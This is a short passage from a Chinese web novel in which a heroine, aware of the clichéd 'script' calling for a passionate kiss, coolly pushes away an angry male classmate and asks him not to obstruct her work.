按照剧本走向,下一秒应该是男主痛吻女主,二人演绎恨海情天戏码。 留给她思考的时间不多了。 郎洗星拧眉,眸中残存着某种无法被掩饰的怒火,他不解道: “为什么?他们到底给了你多少好处?为什么你们总是要一而再再而三地靠近我?” 祝余声音有气无力: “我不明白你在说什么。” 终于,她也说出了这句经典台词吗? 祝余伸出手,攥成拳,顶着男性过分靠近的胸膛,隔着一件薄薄的速干运动衣,将二人之间的距离重新推远。 他的胸膛,有一种超越肉感的蓬松。 但显然,祝余已经顾不上什么蓬·松啊、什么肌·肉啊、什么的…… 她皱眉,依旧用那副无神冷淡的模样,问道: “这位同学,请不要为难我的工作好吗?”